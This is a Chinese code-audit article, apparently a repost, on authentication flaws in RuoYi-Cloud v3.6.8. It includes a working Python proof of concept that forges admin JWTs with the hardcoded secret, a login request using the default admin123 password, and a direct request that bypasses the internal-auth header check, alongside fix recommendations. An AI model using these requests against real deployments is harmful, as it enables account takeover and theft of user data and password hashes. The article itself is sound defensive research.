记一次代码审计之ruoyi(一)认证授权与信任边界(1)

admin 2026-09-16 04:46:46 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 这篇文章对RuoYi-Cloudv3.6.8进行代码审计,聚焦认证授权链路与信任边界,确认16项问题中本篇覆盖6项。核心发现包括JWT密钥硬编码可伪造任意用户身份、默认弱口令、InnerAuth请求头可伪造、用户枚举、密码锁定DoS及XFF伪造等。建议升级jjwt版本、使用强密钥、加强网关校验与内部服务隔离。 综合评分: 88 文章分类: 代码审计,漏洞分析,渗透测试,安全开发,红队


记一次代码审计之ruoyi(一)认证授权与信任边界(1)

原创

Vorik Vorik

Khan安全团队

2026年9月10日 09:55 广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

记一次代码审计之 RuoYi-Cloud(一):认证授权链路与信任边界

系列文章第一篇,聚焦认证授权链路:从登录到令牌签发、网关校验、下游消费的每一环,以及隐藏在”信任链”里的高危漏洞。

审计目标:若依微服务版 RuoYi-Cloud v3.6.8(Spring Boot 4.1 / Spring Cloud 2025.1.2 / MyBatis / Redis / Nacos)


  1. 结论先行

本次审计共确认 16 项问题。本篇文章覆盖其中与认证授权、信任边界相关的 6 项:

| 漏洞 | 严重性 | 一句话 | | — | — | — | | JWT 密钥硬编码 → 任意用户身份伪造 | 🔴 高 | 低权限账号可冒充 admin 读取任意用户敏感信息 | | 默认弱口令 admin/admin123 | 🔴 高 | 未改密部署等于直接送管理后台 | | InnerAuth 仅校验可伪造请求头 | 🟠 中 | 直连内部服务即可绕过全部 @InnerAuth 接口 | | 登录用户枚举(错误消息差异) | 🟡 低 | 可枚举系统内有效用户名 | | 密码错误次数按用户名计数 | 🟡 低 | 5 次错误锁定 10 分钟,可定向 DoS 他人账号 | | X-Forwarded-For 可伪造 | 🟡 低 | 绕过登录 IP 黑名单 + 污染审计日志 |


  1. 审计准备:先把”信任模型”画出来

微服务审计和单应用最大的区别是:安全边界不止一道。RuoYi-Cloud 的请求流转和身份传递是这样一条链:

flowchart LR&nbsp; &nbsp; subgraph 外部&nbsp; &nbsp; &nbsp; &nbsp; A[浏览器/客户端]&nbsp; &nbsp; end&nbsp; &nbsp; subgraph 网关层&nbsp; &nbsp; &nbsp; &nbsp; G[ruoyi-gateway<br/>AuthFilter 鉴权]&nbsp; &nbsp; end&nbsp; &nbsp; subgraph 服务层&nbsp; &nbsp; &nbsp; &nbsp; S[ruoyi-auth 签发token]&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; S2[ruoyi-system 等业务服务]&nbsp; &nbsp; end&nbsp; &nbsp; subgraph 基础设施&nbsp; &nbsp; &nbsp; &nbsp; R[(Redis login_tokens)]&nbsp; &nbsp; end&nbsp; &nbsp; A -->|POST /auth/login| G&nbsp; &nbsp; G --> S&nbsp; &nbsp; S -->|LoginUser + user_key 写入Redis| R&nbsp; &nbsp; S -->|返回 JWT| A&nbsp; &nbsp; A -->|Authorization: Bearer JWT| G&nbsp; &nbsp; G -->|校验签名 + Redis存在性| G&nbsp; &nbsp; G -->|写入 user_key/user_id/username 请求头| S2

审计前我先列出了这条链上所有”信任假设”——漏洞往往就藏在假设里:

  1. 假设 JWT 签名可信 → 如果密钥泄漏/可预测,签名防线形同虚设;

2. 假设请求头只能由网关写入 → 如果内部服务可被直连,请求头可以伪造;

3. 假设内部服务端口不对外 → docker-compose 恰好把端口映射到了宿主机。

三条假设,三条都中了。下面逐段阅读代码验证。


  1. 登录链路逐段阅读

审计从登录入口开始,ruoyi-auth 模块的 TokenController:

ruoyi-auth/src/main/java/com/ruoyi/auth/controller/TokenController.java:35-42

@PostMapping("login")public&nbsp;R<?>&nbsp;login(@RequestBody&nbsp;LoginBody&nbsp;form) {&nbsp; &nbsp;&nbsp;LoginUser&nbsp;userInfo = sysLoginService.login(form.getUsername(), form.getPassword());&nbsp; &nbsp;&nbsp;return&nbsp;R.ok(tokenService.createToken(userInfo));}

跟进 SysLoginService.login,它按顺序做了这些校验(SysLoginService.java:45-98):

// 1. 用户名/密码非空、长度校验// 2. IP 黑名单校验 ← 后面会发现 XFF 可伪造String&nbsp;blackStr =&nbsp;Convert.toStr(redisService.getCacheObject(CacheConstants.SYS_LOGIN_BLACKIPLIST));if&nbsp;(IpUtils.isMatchedIp(blackStr,&nbsp;IpUtils.getIpAddr())) { ...&nbsp;throw&nbsp;... }// 3. 远程查询用户(R.FAIL 时抛 userResult.getMsg() ← 用户枚举点①)// 4. 删除/停用状态检查 ← 用户枚举点②③// 5. 密码校验(SysPasswordService)passwordService.validate(user, password);

再看密码校验的锁定逻辑(SysPasswordService.java:42-71):

Integer&nbsp;retryCount&nbsp;=&nbsp;redisService.getCacheObject(getCacheKey(username)); &nbsp;// 按用户名计数if&nbsp;(retryCount >=&nbsp;5) {&nbsp;throw&nbsp;new&nbsp;ServiceException("密码输入错误5次,帐户锁定10分钟"); }if&nbsp;(!matches(user, password)) {&nbsp; &nbsp; retryCount = retryCount +&nbsp;1;&nbsp; &nbsp; redisService.setCacheObject(getCacheKey(username), retryCount, lockTime, TimeUnit.MINUTES);&nbsp; &nbsp;&nbsp;throw&nbsp;new&nbsp;ServiceException("用户不存在/密码错误");}

getCacheKey 只拼了用户名:CacheConstants.PWD_ERR_CNT_KEY + username。这两个点先记下,后面组合利用。

最后看令牌签发(TokenService.java:48-70):

String token = IdUtils.fastUUID(); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// user_key = 随机 UUIDloginUser.setToken(token);...claimsMap.put(SecurityConstants.USER_KEY, token);claimsMap.put(SecurityConstants.DETAILS_USER_ID, userId);claimsMap.put(SecurityConstants.DETAILS_USERNAME, userName);rspMap.put("access_token", JwtUtils.createToken(claimsMap));

关键信息:user_key 是一个随机 UUID,同时是 Redis 键 login_tokens:{user_key} 的后缀,而 user_id/username 只是 JWT 里的普通 claims。记住这一点,它是漏洞一的钥匙。


  1. 高危:JWT 密钥硬编码 → 任意用户身份伪造

3.1 漏洞点①:密钥写死在常量类

ruoyi-common/ruoyi-common-core/src/main/java/com/ruoyi/common/core/constant/TokenConstants.java:18

public&nbsp;final&nbsp;static&nbsp;String&nbsp;SECRET&nbsp;=&nbsp;"abcdefghijklmnopqrstuvwxyz";

开源项目里写死的密钥,等于公开。单独看还好,结合下一处就致命了。

3.2 漏洞点②:jjwt 0.9.1 把 String 密钥按 Base64 解码

ruoyi-common/ruoyi-common-core/src/main/java/com/ruoyi/common/core/utils/JwtUtils.java:26-40

public&nbsp;static&nbsp;String&nbsp;createToken(Map<String,&nbsp;Object> claims) {&nbsp; &nbsp;&nbsp;String&nbsp;token =&nbsp;Jwts.builder().setClaims(claims)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .signWith(SignatureAlgorithm.HS512, secret).compact(); &nbsp;&nbsp;// L28&nbsp; &nbsp;&nbsp;return&nbsp;token;}public&nbsp;static&nbsp;Claims&nbsp;parseToken(String&nbsp;token) {&nbsp; &nbsp;&nbsp;return&nbsp;Jwts.parser().setSigningKey(secret).parseClaimsJws(token).getBody(); &nbsp;// L40}

这里传的是 String 密钥。根 pom.xml 锁定 jjwt 0.9.1。jjwt 0.9.1 的 signWith(SignatureAlgorithm, String base64EncodedSecretKey) 与 setSigningKey(String) 都会先把 String 做 Base64 解码再当 HMAC 密钥用。于是实际密钥只有:

>>>&nbsp;import&nbsp;base64>>>&nbsp;len(base64.b64decode("abcdefghijklmnopqrstuvwxyz"))19&nbsp; &nbsp;# HS512 要求 64 字节,实际 19 字节

密钥公开 + 密钥极弱 = 签名形同虚设,任何人都能自己签发”合法”JWT。这也是升级 jjwt ≥0.11 后(弱密钥抛 WeakKeyException)能顺带修复的原因。

3.3 漏洞点③:网关只校验 userkey”在不在”,不校验身份一致性

ruoyi-gateway/src/main/java/com/ruoyi/gateway/filter/AuthFilter.java:59-83

String&nbsp;userkey =&nbsp;JwtUtils.getUserKey(claims);boolean&nbsp;islogin = redisService.hasKey(getTokenKey(userkey)); &nbsp;&nbsp;// ① 只查 Redis key 是否存在if&nbsp;(!islogin) {&nbsp;return&nbsp;unauthorizedResponse(exchange,&nbsp;"登录状态已过期"); }String&nbsp;userid =&nbsp;JwtUtils.getUserId(claims); &nbsp; &nbsp; &nbsp; &nbsp;// ② 直接信任 JWT claimsString&nbsp;username =&nbsp;JwtUtils.getUserName(claims); &nbsp; &nbsp;// ②if&nbsp;(StringUtils.isEmpty(userid) ||&nbsp;StringUtils.isEmpty(username)) { ... }addHeader(mutate,&nbsp;SecurityConstants.USER_KEY, userkey);addHeader(mutate,&nbsp;SecurityConstants.DETAILS_USER_ID, userid);addHeader(mutate,&nbsp;SecurityConstants.DETAILS_USERNAME, username);

三层校验逻辑是:JWT 签名(可伪造)→ Redis 里 login_tokens:{userkey} 存在(攻击者用自己的 userkey 必然存在)→ claims 的 user_id/username 非空(自己填)。user_id/username 与 Redis 中真实 LoginUser 完全无一致性校验。

3.4 漏洞点④:下游服务无条件信任请求头

ruoyi-common/ruoyi-common-security/src/main/java/com/ruoyi/common/security/interceptor/HeaderInterceptor.java:31-33

SecurityContextHolder.setUserId(ServletUtils.getHeader(request, SecurityConstants.DETAILS_USER_ID));SecurityContextHolder.setUserName(ServletUtils.getHeader(request, SecurityConstants.DETAILS_USERNAME));SecurityContextHolder.setUserKey(ServletUtils.getHeader(request, SecurityConstants.USER_KEY));

下游所有 SecurityUtils.getUsername()/getUserId() 读到的就是这个请求头 → 而请求头来自可伪造的 JWT claims。信任链断在了源头。

3.5 漏洞点⑤:命中”无需权限注解”的敏感接口

ruoyi-modules/ruoyi-system/src/main/java/com/ruoyi/system/controller/SysProfileController.java:52-60

@GetMappingpublic&nbsp;AjaxResult&nbsp;profile()&nbsp;{&nbsp; &nbsp;&nbsp;String&nbsp;username&nbsp;=&nbsp;SecurityUtils.getUsername(); &nbsp;&nbsp;// ← 伪造头里的 username&nbsp; &nbsp;&nbsp;SysUser&nbsp;user&nbsp;=&nbsp;userService.selectUserByUserName(username);&nbsp; &nbsp;&nbsp;AjaxResult&nbsp;ajax&nbsp;=&nbsp;AjaxResult.success(user); &nbsp; &nbsp; &nbsp;&nbsp;// ← 返回对方完整资料&nbsp; &nbsp; ...}

profile() 没有 @RequiresPermissions,网关放行即可。且 SysUser.password 字段没有 @JsonIgnore,响应里会带上 bcrypt 密码哈希——配合离线破解或撞库,危害进一步放大。

3.6 攻击链完整还原

sequenceDiagram&nbsp; &nbsp; participant&nbsp;A&nbsp;as 攻击者(低权限ry账号)&nbsp; &nbsp; participant&nbsp;G&nbsp;as 网关 AuthFilter&nbsp; &nbsp; participant&nbsp;R&nbsp;as Redis&nbsp; &nbsp; participant S as system服务&nbsp; &nbsp;&nbsp;A->>A: 登录 ry 拿到 token,base64 解码 payload 得 user_key&nbsp; &nbsp; A->>A: PyJWT 用公开密钥伪造:<br/>{user_key:自己的, user_id:1, username:admin}&nbsp; &nbsp;&nbsp;A->>G: GET /system/user/profile (Bearer 伪造token)&nbsp; &nbsp; G->>G: HS512 验签通过(密钥公开可复现)&nbsp; &nbsp; G->>R:&nbsp;hasKey(login_tokens:<攻击者userkey>)&nbsp; &nbsp; R-->>G: true&nbsp; &nbsp; G->>S: 请求头 user_id=1&nbsp;/ username=admin&nbsp; &nbsp; S-->>A:&nbsp;200, admin 的邮箱/手机号/部门/bcrypt哈希

3.7 PoC 验证

import base64, jwt, requests
secret = base64.b64decode("abcdefghijklmnopqrstuvwxyz")# 攻击者自己登录拿到的 user_key(从合法 token payload 解析)user_key =&nbsp;"<自己的user_key>"forged = jwt.encode({"user_key": user_key,&nbsp;"user_id":&nbsp;"1",&nbsp;"username":&nbsp;"admin"},&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; secret, algorithm="HS512")
r = requests.get("http://127.0.0.1:8080/system/user/profile",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;headers={"Authorization":&nbsp;"Bearer "&nbsp;+ forged})print(r.json()["user"]["userName"]) &nbsp;&nbsp;# 输出 admin → 漏洞确认

完整脚本见 ruoyi-pocs/01-JWT身份伪造/poc.py,Burp 请求包见同目录 bp_request.txt。

3.8 修复建议

  1. 网关身份以 Redis LoginUser 为准:AuthFilter 改为 redisService.getCacheObject(getTokenKey(userkey)) 取回 LoginUser,用其 userid/username 写请求头,彻底不信任 claims;

  2. 密钥改为外部配置(nacos/env),升级 jjwt ≥0.11 + Keys.hmacShaKeyFor;

3. SysUser.password 增加 @JsonIgnore。


  1. 高危:初始化 SQL 内置默认弱口令

4.1 漏洞点定位

sql/ry_20260417.sql:71-72

insert&nbsp;into sys_user values(1,&nbsp;103,&nbsp;'admin',&nbsp;'若依', ...,&nbsp;'$2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2', ...);insert&nbsp;into sys_user values(2,&nbsp;105,&nbsp;'ry', &nbsp; &nbsp;'若依', ...,&nbsp;'$2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2', ...);

两个内置账号共用同一个 bcrypt 哈希——对应明文是若依公开默认口令 admin123。admin 是超级管理员(*:*:* 权限)。

4.2 验证与影响

POST&nbsp;/auth/login&nbsp;HTTP/1.1Host:&nbsp;127.0.0.1:8080Content-Type:&nbsp;application/json
{"username":"admin","password":"admin123","code":"验证码","uuid":"验证码uuid"}

命中即拿到最高权限后台。这是”部署即漏洞”,与代码运行期无关,但危害等级最高——因为拿到 admin 后,定时任务、代码生成、文件服务等全部管理面尽在掌握(联动第二篇文章中的定时任务 RCE 风险)。


  1. 中危:InnerAuth 仅校验一个可伪造的请求头

5.1 漏洞点定位

ruoyi-common/ruoyi-common-security/src/main/java/com/ruoyi/common/security/aspect/InnerAuthAspect.java:26-31

@Around("@annotation(innerAuth)")public&nbsp;Object&nbsp;innerAround(ProceedingJoinPoint point, InnerAuth innerAuth)&nbsp;throws&nbsp;Throwable {&nbsp; &nbsp;&nbsp;String&nbsp;source&nbsp;=&nbsp;ServletUtils.getRequest().getHeader(SecurityConstants.FROM_SOURCE);&nbsp; &nbsp;&nbsp;if&nbsp;(!StringUtils.equals(SecurityConstants.INNER, source)) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new&nbsp;InnerAuthException("没有内部访问权限,不允许访问");&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;String&nbsp;userid&nbsp;=&nbsp;ServletUtils.getRequest().getHeader(SecurityConstants.DETAILS_USER_ID);&nbsp; &nbsp;&nbsp;String&nbsp;username&nbsp;=&nbsp;ServletUtils.getRequest().getHeader(SecurityConstants.DETAILS_USERNAME);&nbsp; &nbsp;&nbsp;if&nbsp;(innerAuth.isUser() && (StringUtils.isEmpty(userid) || StringUtils.isEmpty(username))) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new&nbsp;InnerAuthException("没有设置用户信息,不允许访问 ");&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;point.proceed();}

@InnerAuth 的全部防线就是:from-source 请求头 == inner。

网关确实会在转发前移除该头(AuthFilter.java:82),所以正常流量携带不了。但这里混淆了两件事:网络隔离 ≠ 认证。docker-compose 把 ruoyi-system(9201)、ruoyi-gen(9202)、ruoyi-job(9203) 端口都映射到了宿主机。

5.2 直连绕过

GET&nbsp;/system/user/info/admin&nbsp;HTTP/1.1Host:&nbsp;127.0.0.1:9201from-source:&nbsp;inner
#&nbsp;返回: {"data":{"sysUser":{"password":"$2a$10$...", ...},"roles":[...],"permissions":[...]}}

而 /system/user/info/{username}(SysUserController.java:120-138)返回用户 + 角色 + 权限集,其中 password 字段未脱敏直接回显 bcrypt 哈希。同样的手法还可以直连调用 /system/user/register(注册接口)等全部 @InnerAuth 接口。

5.3 修复建议

  • InnerAuth 增加共享密钥/签名校验(Feign 拦截器透传 inner-secret,网关与外部不可达该头);

  • 生产环境禁止把内部服务端口暴露到公网,网络层隔离兜底。


  1. 登录侧低危组合拳

审计登录链时”顺手”确认了三个低危点,它们可以组合成一套侦察 + 拒绝服务:

6.1 用户枚举(错误消息差异)

| 场景 | 返回消息 | 出处 | | — | — | — | | 用户不存在 | 用户名或密码错误 | SysUserController.java:127 | | 用户存在但密码错 | 用户不存在/密码错误 | SysPasswordService.java:65 | | 用户已删除 | 对不起,您的账号:xxx 已被删除 | SysLoginService.java:87 | | 用户已停用 | 您的账号:xxx 已停用 | SysLoginService.java:92 |

四条文案各不相同 → 攻击者可以精确枚举有效用户名和账号状态。

6.2 密码锁定 DoS

SysPasswordService 的计数键只有用户名:pwd_err_cnt:{username}。配合 6.1 枚举到的用户名,攻击者连输 5 次错误密码即锁定目标账号 10 分钟,且每次失败都会刷新 10 分钟 TTL,可以无限续期——合法用户也无法登录。

6.3 X-Forwarded-For 伪造绕过黑名单

ruoyi-common/ruoyi-common-core/src/main/java/com/ruoyi/common/core/utils/ip/IpUtils.java:45-68

String&nbsp;ip = request.getHeader("x-forwarded-for"); &nbsp;&nbsp;// 无条件信任客户端头...return&nbsp;...&nbsp;getMultistageReverseProxyIp(ip); &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 取第一个非unknown

SysLoginService 的 IP 黑名单校验用的就是这个”伪 IP”。攻击者伪造 X-Forwarded-For: 127.0.0.1 即可绕过黑名单,同时污染 sys_user.login_ip 和登录日志,让审计失效。


  1. 本篇小结

本篇文章的 6 个问题,全部源于信任边界的坍塌:

信任了不该信任的输入: &nbsp;JWT claims、from-source&nbsp;头、X-Forwarded-For该藏住的没藏住: &nbsp; &nbsp; &nbsp;硬编码密钥、默认口令

修复优先级:

| 优先级 | 动作 | | — | — | | P0 | 密钥外部化 + jjwt 升级 + 网关身份以 Redis 为准 | | P0 | 立即修改默认口令、删除测试账号 | | P1 | InnerAuth 加签名校验、内部端口不外放 | | P2 | 登录文案统一、锁定计数绑定 IP、网关覆盖 XFF |


*下篇预告:《记一次代码审计之 RuoYi-Cloud(二):接口鉴权缺失与部署加固》——文件服务未鉴权、批量权限注解缺失、actuator/swagger 暴露、定时任务纵深防御、完整修复清单。*

本文仅用于授权范围内的安全研究与学习。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Khan安全团队 Vorik Vorik《记一次代码审计之ruoyi(一)认证授权与信任边界(1)》

评论:0   参与:  0